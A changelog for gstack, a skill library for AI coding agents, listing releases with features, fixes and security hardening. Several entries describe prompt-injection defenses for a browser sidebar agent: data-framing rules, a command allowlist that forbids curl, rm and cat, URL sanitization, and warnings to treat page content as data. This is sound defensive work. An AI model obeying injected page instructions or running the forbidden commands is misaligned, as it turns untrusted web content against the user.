[0.13.7.0] - 2026-03-29. Community Wave

Six community fixes with 16 new tests. Telemetry off now means off everywhere. Skills are findable by name. And changing your prefix setting actually works now.

Fixed

Telemetry off means off everywhere. When you set telemetry to off, gstack no longer writes local JSONL analytics files. Previously "off" only stopped remote reporting. Now nothing is written anywhere. Clean trust contract.

find -delete replaced with POSIX -exec rm. Safety Net and other non-GNU environments no longer choke on session cleanup.

No more preemptive context warnings. /plan-eng-review no longer warns you about running low on context. The system handles compaction automatically.

Sidebar security test updated for Write tool fallback string change.

gstack-relink no longer double-prefixes gstack-upgrade. Setting skill_prefix=true was creating gstack-gstack-upgrade instead of keeping the existing name. Now matches setup script behavior.

Added

Skill discoverability. Every skill description now contains "(gstack)" so you can find gstack skills by searching in Claude Code's command palette.

Feature signal detection in /ship. Version bump now checks for new routes, migrations, test+source pairs, and feat/ branches. Catches MINOR-worthy changes that line count alone misses.

Sidebar Write tool. Both the sidebar agent and headed-mode server now include Write in allowedTools. Write doesn't expand the attack surface beyond what Bash already provides.

Sidebar stderr capture. The sidebar agent now buffers stderr and includes it in error and timeout messages instead of silently discarding it.

bin/gstack-relink re-creates skill symlinks when you change skill_prefix via gstack-config set. No more manual ./setup re-run needed.

bin/gstack-open-url cross-platform URL opener (macOS: open, Linux: xdg-open, Windows: start).

[0.13.6.0] - 2026-03-29. GStack Learns

Every session now makes the next one smarter. gstack remembers patterns, pitfalls, and preferences across sessions and uses them to improve every review, plan, debug, and ship. The more you use it, the better it gets on your codebase.

Added

Project learnings system. gstack automatically captures patterns and pitfalls it discovers during /review, /ship, /investigate, and other skills. Stored per-project at ~/.gstack/projects/{slug}/learnings.jsonl. Append-only, Supabase-compatible schema.

/learn skill. Review what gstack has learned (/learn), search (/learn search auth), prune stale entries (/learn prune), export to markdown (/learn export), or check stats (/learn stats). Manually add learnings with /learn add.

Confidence calibration. Every review finding now includes a confidence score (1-10). High-confidence findings (7+) show normally, medium (5-6) show with a caveat, low (<5) are suppressed. No more crying wolf.

"Learning applied" callouts. When a review finding matches a past learning, gstack displays it: "Prior learning applied: [pattern] (confidence 8/10, from 2026-03-15)". You can see the compounding in action.

Cross-project discovery. gstack can search learnings from your other projects for matching patterns. Opt-in, with a one-time AskUserQuestion for consent. Stays local to your machine.

Confidence decay. Observed and inferred learnings lose 1 confidence point per 30 days. User-stated preferences never decay. A good pattern is a good pattern forever, but uncertain observations fade.

Learnings count in preamble. Every skill now shows "LEARNINGS: N entries loaded" during startup.

5-release roadmap design doc. docs/designs/SELF_LEARNING_V0.md maps the path from R1 (GStack Learns) through R4 (/autoship, one-command full feature) to R5 (Studio).

[0.13.5.1] - 2026-03-29. Gitignore .factory

Changed

Stop tracking .factory/ directory. Generated Factory Droid skill files are now gitignored, same as .claude/skills/ and .agents/. Removes 29 generated SKILL.md files from the repo. The setup script and bun run build regenerate these on demand.

[0.13.5.0] - 2026-03-29. Factory Droid Compatibility

gstack now works with Factory Droid. Type /qa in Droid and get the same 29 skills you use in Claude Code. This makes gstack the first skill library that works across Claude Code, Codex, and Factory Droid.

Added

Factory Droid support (--host factory). Generate Factory-native skills with bun run gen:skill-docs --host factory. Skills install to .factory/skills/ with proper frontmatter (user-invocable: true, disable-model-invocation: true for sensitive skills like /ship and /land-and-deploy).

--host all flag. One command generates skills for all 3 hosts. Fault-tolerant: catches per-host errors, only fails if Claude generation fails.

gstack-platform-detect binary. Prints a table of installed AI coding agents with versions, skill paths, and gstack status. Useful for debugging multi-host setups.

Sensitive skill safety. Six skills with side effects (ship, land-and-deploy, guard, careful, freeze, unfreeze) now declare sensitive: true in their templates. Factory Droids won't auto-invoke them. Claude and Codex output strips the field.

Factory CI freshness check. The skill-docs workflow now verifies Factory output is fresh on every PR.

Factory awareness across operational tooling. skill-check dashboard, gstack-uninstall, and setup script all know about Factory.

Changed

Refactored multi-host generation. Extracted processExternalHost() shared helper from the Codex-specific code block. Both Codex and Factory use the same function for output routing, symlink loop detection, frontmatter transformation, and path rewrites. Codex output is byte-identical after refactor.

Build script uses --host all. Replaces chained gen:skill-docs calls with a single --host all invocation.

Tool name translation for Factory. Claude Code tool names ("use the Bash tool") are translated to generic phrasing ("run this command") in Factory output, matching Factory's tool naming conventions.

[0.13.4.0] - 2026-03-29. Sidebar Defense

The Chrome sidebar now defends against prompt injection attacks. Three layers: XML-framed prompts with trust boundaries, a command allowlist that restricts bash to browse commands only, and Opus as the default model (harder to manipulate).

Fixed

Sidebar agent now respects server-side args. The sidebar-agent process was silently rebuilding its own Claude args from scratch, ignoring --model, --allowedTools, and other flags set by the server. Every server-side configuration change was silently dropped. Now uses the queued args.

Added

XML prompt framing with trust boundaries. User messages are wrapped in <user-message> tags with explicit instructions to treat content as data, not instructions. XML special characters (< > &) are escaped to prevent tag injection attacks.

Bash command allowlist. The sidebar's system prompt now restricts Claude to browse binary commands only ($B goto, $B click, $B snapshot, etc.). All other bash commands (curl, rm, cat, etc.) are forbidden. This prevents prompt injection from escalating to arbitrary code execution.

Opus default for sidebar. The sidebar now uses Opus (the most injection-resistant model) by default, instead of whatever model Claude Code happens to be running.

ML prompt injection defense design doc. Full design doc at docs/designs/ML_PROMPT_INJECTION_KILLER.md covering the follow-up ML classifier (DeBERTa, BrowseSafe-bench, Bun-native 5ms vision). P0 TODO for the next PR.

[0.13.3.0] - 2026-03-28. Lock It Down

Six fixes from community PRs and bug reports. The big one: your dependency tree is now pinned. Every bun install resolves the exact same versions, every time. No more floating ranges pulling fresh packages from npm on every setup.

Fixed

Dependencies are now pinned. bun.lock is committed and tracked. Every install resolves identical versions instead of floating ^ ranges from npm. Closes the supply-chain vector from #566.

gstack-slug no longer crashes outside git repos. Falls back to directory name and "unknown" branch when there's no remote or HEAD. Every review skill that depends on slug detection now works in non-git contexts.

./setup no longer hangs in CI. The skill-prefix prompt now auto-selects short names after 10 seconds. Conductor workspaces, Docker builds, and unattended installs proceed without human input.

Browse CLI works on Windows. The server lockfile now uses 'wx' string flag instead of numeric fs.constants that Bun compiled binaries don't handle on Windows.

/ship and /review find your design docs. Plan search now checks ~/.gstack/projects/ first, where /office-hours writes design documents. Previously, plan validation silently skipped because it was looking in the wrong directories.

/autoplan dual-voice actually works. Background subagents can't read files (Claude Code limitation), so the Claude voice was silently failing on every run. Now runs sequentially in foreground. Both voices complete before the consensus table.

Added

Community PR guardrails in CLAUDE.md. ETHOS.md, promotional material, and Garry's voice are explicitly protected from modification without user approval.

[0.13.2.0] - 2026-03-28. User Sovereignty

AI models now recommend instead of override. When Claude and Codex agree on a scope change, they present it to you instead of just doing it. Your direction is the default, not the models' consensus.

Added

User Sovereignty principle in ETHOS.md. The third core principle: AI models recommend, users decide. Cross-model agreement is a strong signal, not a mandate.

User Challenge category in /autoplan. When both models agree your stated direction should change, it goes to the final approval gate as a "User Challenge" instead of being auto-decided. Your original direction stands unless you explicitly change it.

Security/feasibility warning framing. If both models flag something as a security risk (not just a preference), the question explicitly warns you it's a safety concern, not a taste call.

Outside Voice Integration Rule in CEO and Eng reviews. Outside voice findings are informational until you explicitly approve each one.

User sovereignty statement in all skill voices. Every skill now includes the rule that cross-model agreement is a recommendation, not a decision.

Changed

Cross-model tension template no longer says "your assessment of who's right." Now says "present both perspectives neutrally, state what context you might be missing." Options expanded from Add/Skip to Accept/Keep/Investigate/Defer.

/autoplan now has two gates, not one. Premises (Phase 1) and User Challenges (both models disagree with your direction). Important Rules updated from "premises are the one gate" to "two gates."

Decision Audit Trail now tracks classification. Each auto-decision is logged as mechanical, taste, or user-challenge.

[0.13.1.0] - 2026-03-28. Defense in Depth

The browse server runs on localhost and requires a token for access, so these issues only matter if a malicious process is already running on your machine (e.g., a compromised npm postinstall script). This release hardens the attack surface so that even in that scenario, the damage is contained.

Fixed

Auth token removed from /health endpoint. Token now distributed via .auth.json file (0o600 permissions) instead of an unauthenticated HTTP response.

Cookie picker data routes now require Bearer auth. The HTML picker page is still open (it's the UI shell), but all data and action endpoints check the token.

CORS tightened on /refs and /activity/*. Removed wildcard origin header so websites can't read browse activity cross-origin.

State files auto-expire after 7 days. Cookie state files now include a timestamp and warn on load if stale. Server startup cleans up files older than 7 days.

Extension uses textContent instead of innerHTML. Prevents DOM injection if server-provided data ever contained markup. Standard defense-in-depth for browser extensions.

Path validation resolves symlinks before boundary checks. validateReadPath now calls realpathSync and handles macOS /tmp symlink correctly.

Freeze hook uses portable path resolution. POSIX-compatible (works on macOS without coreutils), fixes edge case where /project-evil could match a freeze boundary set to /project.

Shell config scripts validate input. gstack-config rejects regex-special keys and escapes sed patterns. gstack-telemetry-log sanitizes branch/repo names in JSON output.

Added

20 regression tests covering all hardening changes.

[0.13.0.0] - 2026-03-27. Your Agent Can Design Now

gstack can generate real UI mockups. Not ASCII art, not text descriptions of hex codes, real visual designs you can look at, compare, pick from, and iterate on. Run /office-hours on a UI idea and you'll get 3 visual concepts in Chrome with a comparison board where you pick your favorite, rate the others, and tell the agent what to change.

Added

Design binary ($D). New compiled CLI wrapping OpenAI's GPT Image API. 13 commands: generate, variants, iterate, check, compare, extract, diff, verify, evolve, prompt, serve, gallery, setup. Generates pixel-perfect UI mockups from structured design briefs in ~40 seconds.

Comparison board. $D compare generates a self-contained HTML page with all variants, star ratings, per-variant feedback, regeneration controls, a remix grid (mix layout from A with colors from B), and a Submit button. Feedback flows back to the agent via HTTP POST, not DOM polling.

/design-shotgun skill. Standalone design exploration you can run anytime. Generates multiple AI design variants, opens a comparison board in your browser, and iterates until you approve a direction. Session awareness (remembers prior explorations), taste memory (biases new generations toward your demonstrated preferences), screenshot-to-variants (screenshot what you don't like, get improvements), configurable variant count (3-8).

$D serve command. HTTP server for the comparison board feedback loop. Serves the board on localhost, opens in your default browser, collects feedback via POST. Stateful: stays alive across regeneration rounds, supports same-tab reload via /api/progress polling.

$D gallery command. Generates an HTML timeline of all design explorations for a project: every variant, feedback, organized by date.

Design memory. $D extract analyzes an approved mockup with GPT-4o vision and writes colors, typography, spacing, and layout patterns to DESIGN.md. Future mockups on the same project inherit the established visual language.

Visual diffing. $D diff compares two images and identifies differences by area with severity. $D verify compares a live site screenshot against an approved mockup, pass/fail gate.

Screenshot evolution. $D evolve takes a screenshot of your live site and generates a mockup showing how it should look based on your feedback. Starts from reality, not blank canvas.

Responsive variants. $D variants --viewports desktop,tablet,mobile generates mockups at multiple viewport sizes.

Design-to-code prompt. $D prompt extracts implementation instructions from an approved mockup: exact hex colors, font sizes, spacing values, component structure. Zero interpretation gap.

Changed

/office-hours now generates visual mockup explorations by default (skippable). Comparison board opens in your browser for feedback before generating HTML wireframes.

/plan-design-review uses {{DESIGN_SHOTGUN_LOOP}} for the comparison board. Can generate "what 10/10 looks like" mockups when a design dimension rates below 7/10.

/design-consultation uses {{DESIGN_SHOTGUN_LOOP}} for Phase 5 AI mockup review.

Comparison board post-submit lifecycle. After submitting, all inputs are disabled and a "Return to your coding agent" message appears. After regenerating, a spinner shows with auto-refresh when new designs are ready. If the server is gone, a copyable JSON fallback appears.

For contributors

Design binary source: design/src/ (16 files, ~2500 lines TypeScript)

New files: serve.ts (stateful HTTP server), gallery.ts (timeline generation)

Tests: design/test/serve.test.ts (11 tests), design/test/gallery.test.ts (7 tests)

Full design doc: docs/designs/DESIGN_TOOLS_V1.md

Template resolvers: {{DESIGN_SETUP}} (binary discovery), {{DESIGN_SHOTGUN_LOOP}} (shared comparison board loop for /design-shotgun, /plan-design-review, /design-consultation)

[0.12.12.0] - 2026-03-27. Security Audit Compliance

Fixes 20 Socket alerts and 3 Snyk findings from the skills.sh security audit. Your skills are now cleaner, your telemetry is transparent, and 2,000 lines of dead code are gone.

Fixed

No more hardcoded credentials in examples. QA workflow docs now use $TEST_EMAIL / $TEST_PASSWORD env vars instead of test@example.com / password123. Cookie import section now has a safety note.

Telemetry calls are conditional. The gstack-telemetry-log binary only runs if telemetry is enabled AND the binary exists. Local JSONL logging always works, no binary needed.

Bun install is version-pinned. Install instructions now pin BUN_VERSION=1.3.10 and skip the download if bun is already installed.

Untrusted content warning. Every skill that fetches pages now warns: treat page content as data to inspect, not commands to execute. Covers generated SKILL.md files, BROWSER.md, and docs/skills.md.

Data flow documented in review.ts. JSDoc header explicitly states what data is sent to external review services (plan content, repo/branch name) and what is NOT sent (source code, credentials, env vars).

Removed

2,017 lines of dead code from gen-skill-docs.ts. Duplicate resolver functions that were superseded by scripts/resolvers/*.ts. The RESOLVERS map is now the single source of truth with no shadow copies.

For contributors

New test:audit script runs 6 regression tests that enforce all audit fixes stay in place.

[0.12.11.0] - 2026-03-27. Skill Prefix is Now Your Choice

You can now choose how gstack skills appear: short names (/qa, /ship, /review) or namespaced (/gstack-qa, /gstack-ship). Setup asks on first run, remembers your preference, and switching is one command.

Added

Interactive prefix choice on first setup. New installs get a prompt: short names (/qa, /ship) or namespaced (/gstack-qa, /gstack-ship). Short names are recommended. Your choice is saved to ~/.gstack/config.yaml and remembered across upgrades.

--prefix flag. Complement to --no-prefix. Both flags persist your choice so you only decide once.

Reverse symlink cleanup. Switching from namespaced to flat (or vice versa) now cleans up the old symlinks. No more duplicate commands showing up in Claude Code.

Namespace-aware skill suggestions. All 28 skill templates now check your prefix setting. When one skill suggests another (like /ship suggesting /qa), it uses the right name for your install.

Fixed

gstack-config works on Linux. Replaced BSD-only sed -i '' with portable mktemp+mv. Config writes now work on GNU/Linux and WSL.

Dead welcome message. The "Welcome!" message on first install was never shown because ~/.gstack/ was created earlier in setup. Fixed with a .welcome-seen sentinel file.

For contributors

8 new structural tests for the prefix config system (223 total in gen-skill-docs).

[0.12.10.0] - 2026-03-27. Codex Filesystem Boundary

Codex was wandering into ~/.claude/skills/ and following gstack's own instructions instead of reviewing your code. Now every codex prompt includes a boundary instruction that keeps it focused on the repository. Covers all 11 callsites across /codex, /autoplan, /review, /ship, /plan-eng-review, /plan-ceo-review, and /office-hours.

Fixed

Codex stays in the repo. All codex exec and codex review calls now prepend a filesystem boundary instruction telling Codex to ignore skill definition files. Prevents Codex from reading SKILL.md preamble scripts and wasting 8+ minutes on session tracking and upgrade checks.

Rabbit-hole detection. If Codex output contains signs it got distracted by skill files (gstack-config, gstack-update-check, SKILL.md, skills/gstack), the /codex skill now warns and suggests a retry.

5 regression tests. New test suite validates boundary text appears in all 7 codex-calling skills, the Filesystem Boundary section exists, the rabbit-hole detection rule exists, and autoplan uses cross-host-compatible path patterns.

[0.12.9.0] - 2026-03-27. Community PRs: Faster Install, Skill Namespacing, Uninstall

Six community PRs landed in one batch. Install is faster, skills no longer collide with other tools, and you can cleanly uninstall gstack when needed.

Added

Uninstall script. bin/gstack-uninstall cleanly removes gstack from your system: stops browse daemons, removes all skill installs (Claude/Codex/Kiro), cleans up state. Supports --force (skip confirmation) and --keep-state (preserve config). (#323)

Python security patterns in /review. Shell injection (subprocess.run(shell=True)), SSRF via LLM-generated URLs, stored prompt injection, async/sync mixing, and column name safety checks now fire automatically on Python projects. (#531)

Office-hours works without Codex. The "second opinion" step now falls back to a Claude subagent when Codex CLI is unavailable, so every user gets the cross-model perspective. (#464)

Changed

Faster install (~30s). All clone commands now use --single-branch --depth 1. Full history available for contributors. (#484)

Skills namespaced with gstack- prefix. Skill symlinks are now gstack-review, gstack-ship, etc. instead of bare review, ship. Prevents collisions with other skill packs. Old symlinks are auto-cleaned on upgrade. Use --no-prefix to opt out. (#503)

Fixed

Windows port race condition. findPort() now uses net.createServer() instead of Bun.serve() for port probing, fixing an EADDRINUSE race on Windows where the polyfill's stop() is fire-and-forget. (#490)

package.json version sync. VERSION file and package.json now agree (was stuck at 0.12.5.0).

[0.12.8.1] - 2026-03-27. zsh Glob Compatibility

Skill scripts now work correctly in zsh. Previously, bash code blocks in skill templates used raw glob patterns like .github/workflows/*.yaml and ls ~/.gstack/projects/$SLUG/*-design-*.md that would throw "no matches found" errors in zsh when no files matched. Fixed 38 instances across 13 templates and 2 resolvers using two approaches: find-based alternatives for complex patterns, and setopt +o nomatch guards for simple ls commands.

Fixed

.github/workflows/ globs replaced with find. cat .github/workflows/*deploy*, for f in .github/workflows/*.yml, and ls .github/workflows/*.yaml patterns in /land-and-deploy, /setup-deploy, /cso, and the deploy bootstrap resolver now use find ... -name instead of raw globs.

~/.gstack/ and ~/.claude/ globs guarded with setopt. Design doc lookups, eval result listings, test plan discovery, and retro history checks across 10 skills now prepend setopt +o nomatch 2>/dev/null || true (no-op in bash, disables NOMATCH in zsh).

Test framework detection globs guarded. ls jest.config.* vitest.config.* in the testing resolver now has a setopt guard.

[0.12.8.0] - 2026-03-27. Codex No Longer Reviews the Wrong Project

When you run gstack in Conductor with multiple workspaces open, Codex could silently review the wrong project. The codex exec -C flag resolved the repo root inline via $(git rev-parse --show-toplevel), which evaluates in whatever cwd the background shell inherits. In multi-workspace environments, that cwd might be a different project entirely.

Fixed

Codex exec resolves repo root eagerly. All 12 codex exec commands across /codex, /autoplan, and 4 resolver functions now resolve _REPO_ROOT at the top of each bash block and reference the stored value in -C. No more inline evaluation that races with other workspaces.

codex review also gets cwd protection. codex review doesn't support -C, so it now gets cd "$_REPO_ROOT" before invocation. Same class of bug, different command.

Silent fallback replaced with hard fail. The || pwd fallback silently used whatever random cwd was available. Now it errors out with a clear message if not in a git repo.

Removed

Dead resolver copies in gen-skill-docs.ts. Six functions that were moved to scripts/resolvers/ months ago but never deleted. They had already diverged from the live versions and contained the old vulnerable pattern.

Added

Regression test that scans all .tmpl, resolver .ts, and generated SKILL.md files for codex commands using inline $(git rev-parse --show-toplevel). Prevents reintroduction.

[0.12.7.0] - 2026-03-27. Community PRs + Security Hardening

Seven community contributions merged, reviewed, and tested. Plus security hardening for telemetry and review logging, and E2E test stability fixes.

Added

Dotfile filtering in skill discovery. Hidden directories (.git, .vscode, etc.) are no longer picked up as skill templates.

JSON validation gate in review-log. Malformed input is rejected instead of appended to the JSONL file.

Telemetry input sanitization. All string fields are stripped of quotes, backslashes, and control characters before being written to JSONL.

Host-specific co-author trailers. /ship and /document-release now use the correct co-author line for Codex vs Claude.

10 new security tests covering telemetry injection, review-log validation, and dotfile filtering.

Fixed

File paths starting with ./ no longer treated as CSS selectors. $B screenshot ./path/to/file.png now works instead of trying to find a CSS element.

Build chain resilience. gen:skill-docs failure no longer blocks binary compilation.

Update checker fall-through. After upgrading, the checker now also checks for newer remote versions instead of stopping.

Flaky E2E tests stabilized. browse-basic, ship-base-branch, and review-dashboard-via tests now pass reliably by extracting only relevant SKILL.md sections instead of copying full 1900-line files into test fixtures.

Removed unreliable journey-think-bigger routing test. Never passed reliably because the routing signal was too ambiguous. 10 other journey tests cover routing with clear signals.

For contributors

New CLAUDE.md rule: never copy full SKILL.md files into E2E test fixtures. Extract the relevant section only.

[0.12.6.0] - 2026-03-27. Sidebar Knows What Page You're On

The Chrome sidebar agent used to navigate to the wrong page when you asked it to do something. If you'd manually browsed to a site, the sidebar would ignore that and go to whatever Playwright last saw (often Hacker News from the demo). Now it works.

Fixed

Sidebar uses the real tab URL. The Chrome extension now captures the actual page URL via chrome.tabs.query() and sends it to the server. Previously the sidebar agent used Playwright's stale page.url(), which didn't update when you navigated manually in headed mode.

URL sanitization. The extension-provided URL is validated (http/https only, control characters stripped, 2048 char limit) before being used in the Claude system prompt. Prevents prompt injection via crafted URLs.

Stale sidebar agents killed on reconnect. Each /connect-chrome now kills leftover sidebar-agent processes before starting a new one. Old agents had stale auth tokens and would silently fail, causing the sidebar to freeze.

Added

Pre-flight cleanup for /connect-chrome. Kills stale browse servers and cleans Chromium profile locks before connecting. Prevents "already connected" false positives after crashes.

Sidebar agent test suite (36 tests). Four layers: unit tests for URL sanitization, integration tests for server HTTP endpoints, mock-Claude round-trip tests, and E2E tests with real Claude. All free except layer 4.

[0.12.5.1] - 2026-03-27. Eng Review Now Tells You What to Parallelize

/plan-eng-review automatically analyzes your plan for parallel execution opportunities. When your plan has independent workstreams, the review outputs a dependency table, parallel lanes, and execution order so you know exactly which tasks to split into separate git worktrees.

Added

Worktree parallelization strategy in /plan-eng-review required outputs. Extracts a structured table of plan steps with module-level dependencies, computes parallel lanes, and flags merge conflict risks. Skips automatically for single-module or single-track plans.

[0.12.5.0] - 2026-03-26. Fix Codex Hangs: 30-Minute Waits Are Gone

Three bugs in /codex caused 30+ minute hangs with zero output during plan reviews and adversarial checks. All three are fixed.

Fixed

Plan files now visible to Codex sandbox. Codex runs sandboxed to the repo root and couldn't see plan files at ~/.claude/plans/. It would waste 10+ tool calls searching before giving up. Now the plan content is embedded directly in the prompt, and referenced source files are listed so Codex reads them immediately.

Streaming output actually streams. Python's stdout buffering meant zero output visible until the process exited. Added PYTHONUNBUFFERED=1, python3 -u, and flush=True on every print call across all three Codex modes.

Sane reasoning effort defaults. Replaced hardcoded xhigh (23x more tokens, known 50+ min hangs per OpenAI issues #8545, #8402, #6931) with per-mode defaults: high for review and challenge, medium for consult. Users can override with --xhigh flag when they want maximum reasoning.

--xhigh override works in all modes. The override reminder was missing from challenge and consult mode instructions. Found by adversarial review.

[0.12.4.0] - 2026-03-26. Full Commit Coverage in /ship

When you ship a branch with 12 commits spanning performance work, dead code removal, and test infra, the PR should mention all three. It wasn't. The CHANGELOG and PR summary biased toward whatever happened most recently, silently dropping earlier work.

Fixed

/ship Step 5 (CHANGELOG): Now forces explicit commit enumeration before writing. You list every commit, group by theme, write the entry, then cross-check that every commit maps to a bullet. No more recency bias.

/ship Step 8 (PR body): Changed from "bullet points from CHANGELOG" to explicit commit-by-commit coverage. Groups commits into logical sections. Excludes the VERSION/CHANGELOG metadata commit (bookkeeping, not a change). Every substantive commit must appear somewhere.

[0.12.3.0] - 2026-03-26. Voice Directive: Every Skill Sounds Like a Builder

Every gstack skill now has a voice. Not a personality, not a persona, but a consistent set of instructions that make Claude sound like someone who shipped code today and cares whether the thing works for real users. Direct, concrete, sharp. Names the file, the function, the command. Connects technical work to what the user actually experiences.

Two tiers: lightweight skills get a trimmed version (tone + writing rules). Full skills get the complete directive with context-dependent tone (YC partner energy for strategy, senior eng for code review, blog-post clarity for debugging), concreteness standards, humor calibration, and user-outcome guidance.

Added

Voice directive in all 25 skills. Generated from preamble.ts, injected via the template resolver. Tier 1 skills get a 4-line version. Tier 2+ skills get the full directive.

Context-dependent tone. Match the context: YC partner for /plan-ceo-review, senior eng for /review, best-technical-blog-post for /investigate.

Concreteness standard. "Show the exact command. Use real numbers. Point at the exact line." Not aspirational... enforced.

User outcome connection. "This matters because your user will see a 3-second spinner." Make the user's user real.

LLM eval test. Judge scores directness, concreteness, anti-corporate tone, AI vocabulary avoidance, and user outcome connection. All dimensions must score 4/5+.

[0.12.2.0] - 2026-03-26. Deploy with Confidence: First-Run Dry Run

The first time you run /land-and-deploy on a project, it does a dry run. It detects your deploy infrastructure, tests that every command works, and shows you exactly what will happen... before it touches anything. You confirm, and from then on it just works.

If your deploy config changes later (new platform, different workflow, updated URLs), it automatically re-runs the dry run. Trust is earned, maintained, and re-validated when the ground shifts.

Added

First-run dry run. Shows your deploy infrastructure in a validation table: platform, CLI status, production URL reachability, staging detection, merge method, merge queue status. You confirm before anything irreversible happens.

Staging-first option. If staging is detected (CLAUDE.md config, GitHub Actions workflow, or Vercel/Netlify preview), you can deploy there first, verify it works, then proceed to production.

Config decay detection. The dry-run confirmation stores a fingerprint of your deploy config. If CLAUDE.md's deploy section or your deploy workflows change, the dry run re-triggers automatically.

Inline review gate. If no recent code review exists, offers a quick safety check on the diff before merging. Catches SQL safety, race conditions, and security issues at deploy time.

Merge queue awareness. Detects when your repo uses merge queues and explains what's happening while it waits.

CI auto-deploy detection. Identifies deploy workflows triggered by the merge and monitors them.

Changed

Full copy rewrite. Every user-facing message rewritten to narrate what's happening, explain why, and be specific. First run = teacher mode. Subsequent runs = efficient mode.

Voice & Tone section. New guidelines for how the skill communicates: be a senior release engineer sitting next to the developer, not a robot.

[0.12.1.0] - 2026-03-26. Smarter Browsing: Network Idle, State Persistence, Iframes

Every click, fill, and select now waits for the page to settle before returning. No more stale snapshots because an XHR was still in-flight. Chain accepts pipe-delimited format for faster multi-step flows. You can save and restore browser sessions (cookies + open tabs). And iframe content is now reachable.

Added

Network idle detection. click, fill, and select auto-wait up to 2s for network requests to settle before returning. Catches XHR/fetch triggered by interactions. Uses Playwright's built-in waitForLoadState('networkidle'), not a custom tracker.

$B state save/load. Save your browser session (cookies + open tabs) to a named file, load it back later. Files stored at .gstack/browse-states/{name}.json with 0o600 permissions. V1 saves cookies + URLs only (not localStorage, which breaks on load-before-navigate). Load replaces the current session, not merge.

$B frame command. Switch command context into an iframe: $B frame iframe, $B frame --name checkout, $B frame --url stripe, or $B frame @e5. All subsequent commands (click, fill, snapshot, etc.) operate inside the iframe. $B frame main returns to the main page. Snapshot shows [Context: iframe src="..."] header. Detached frames auto-recover.

Chain pipe format. Chain now accepts $B chain 'goto url | click @e5 | snapshot -ic' as a fallback when JSON parsing fails. Pipe-delimited with quote-aware tokenization.

Changed

Chain post-loop idle wait. After executing all commands in a chain, if the last was a write command, chain waits for network idle before returning.

Fixed

Iframe ref scoping. Snapshot ref locators, cursor-interactive scan, and cursor locators now use the frame-aware target instead of always scoping to the main page.

Detached frame recovery. getActiveFrameOrPage() checks isDetached() and auto-recovers.

State load resets frame context. Loading a saved state clears the active frame reference.

elementHandle leak in frame command. Now properly disposed after getting contentFrame.

Upload command frame-aware. upload uses the frame-aware target for file input locators.

[0.12.0.0] - 2026-03-26. Headed Mode + Sidebar Agent

You can now watch Claude work in a real Chrome window and direct it from a sidebar chat.

Added

Headed mode with sidebar agent. $B connect launches a visible Chrome window with the gstack extension. The Side Panel shows a live activity feed of every command AND a chat interface where you type natural language instructions. A child Claude instance executes your requests in the browser ... navigate pages, click buttons, fill forms, extract data. Each task gets up to 5 minutes.

Personal automation. The sidebar agent handles repetitive browser tasks beyond dev workflows. Browse your kid's school parent portal and add parent contact info to Google Contacts. Fill out vendor onboarding forms. Extract data from dashboards. Log in once in the headed browser or import cookies from your real Chrome with /setup-browser-cookies.

Chrome extension. Toolbar badge (green=connected, gray=not), Side Panel with activity feed + chat + refs tab, @ref overlays on the page, and a connection pill showing which window gstack controls. Auto-loads when you run $B connect.

/connect-chrome skill. Guided setup: launches Chrome, verifies the extension, demos the activity feed, and introduces the sidebar chat.

Changed

Sidebar agent ungated. Previously required --chat flag. Now always available in headed mode. The sidebar agent has the same security model as Claude Code itself (Bash, Read, Glob, Grep on localhost).

Agent timeout raised to 5 minutes. Multi-page tasks (navigating directories, filling forms across pages) need more than the previous 2-minute limit.

[0.11.21.0] - 2026-03-26

Fixed

/autoplan reviews now count toward the ship readiness gate. When /autoplan ran full CEO + Design + Eng reviews, /ship still showed "0 runs" for Eng Review because autoplan-logged entries weren't being read correctly. Now the dashboard shows source attribution (e.g., "CLEAR (PLAN via /autoplan)") so you can see exactly which tool satisfied each review.

/ship no longer tells you to "run /review first." Ship runs its own pre-landing review in Step 3.5. asking you to run the same review separately was redundant. The gate is removed; ship just does it.

/land-and-deploy now checks all 8 review types. Previously missed review, adversarial-review, and codex-plan-review. if you only ran /review (not /plan-eng-review), land-and-deploy wouldn't see it.

Dashboard Outside Voice row now works. Was showing "0 runs" even after outside voices ran in /plan-ceo-review or /plan-eng-review. Now correctly maps to codex-plan-review entries.

/codex review now tracks staleness. Added the commit field to codex review log entries so the dashboard can detect when a codex review is outdated.

/autoplan no longer hardcodes "clean" status. Review log entries from autoplan used to always record status:"clean" even when issues were found. Now uses proper placeholder tokens that Claude substitutes with real values.

[0.11.20.0] - 2026-03-26

Added

GitLab support for /retro and /ship. You can now run /ship on GitLab repos. it creates merge requests via glab mr create instead of gh pr create. /retro detects default branches on both platforms. All 11 skills using BASE_BRANCH_DETECT automatically get GitHub, GitLab, and git-native fallback detection.

GitHub Enterprise and self-hosted GitLab detection. If the remote URL doesn't match github.com or gitlab, gstack checks gh auth status / glab auth status to detect authenticated platforms. no manual config needed.

/document-release works on GitLab. After /ship creates a merge request, the auto-invoked /document-release reads and updates the MR body via glab instead of failing silently.

GitLab safety gate for /land-and-deploy. Instead of silently failing on GitLab repos, /land-and-deploy now stops early with a clear message that GitLab merge support is not yet implemented.

Fixed

Deduplicated gen-skill-docs resolvers. The template generator had duplicate inline resolver functions that shadowed the modular versions, causing generated SKILL.md files to miss recent resolver updates.

[0.11.19.0] - 2026-03-24

Fixed

Auto-upgrade no longer breaks. The root gstack skill description was 7 characters from the Codex 1024-char limit. Every new skill addition pushed it closer. Moved the skill routing table from the description (bounded) to the body (unlimited), dropping from 1017 to 409 chars with 615 chars of headroom.

Codex reviews now run in the correct repo. In multi-workspace setups (like Conductor), Codex could pick up the wrong project directory. All codex exec calls now explicitly set -C to the git root.

Added

900-char early warning test. A new test fails if any Codex skill description exceeds 900 chars, catching description bloat before it breaks builds.

[0.11.18.2] - 2026-03-24

Fixed

Windows browse daemon fixed. The browse server wouldn't start on Windows because Bun requires stdio as an array (['ignore', 'ignore', 'ignore']), not a string ('ignore'). Fixes #448, #454, #458.

[0.11.18.1] - 2026-03-24

Changed

One decision per question. everywhere. Every skill now presents decisions one at a time, each with its own focused question, recommendation, and options. No more wall-of-text questions that bundle unrelated choices together. This was already enforced in the three plan-review skills; now it's a universal rule across all 23+ skills.

[0.11.18.0] - 2026-03-24. Ship With Teeth

/ship and /review now actually enforce the quality gates they've been talking about. Coverage audit becomes a real gate (not just a diagram), plan completion gets verified against the diff, and verification steps from your plan run automatically.

Added

Test coverage gate in /ship. AI-assessed coverage below 60% is a hard stop. 60-79% gets a prompt. 80%+ passes. Thresholds are configurable per-project via ## Test Coverage in CLAUDE.md.

Coverage warning in /review. Low coverage is now flagged prominently before you reach the /ship gate, so you can write tests early.

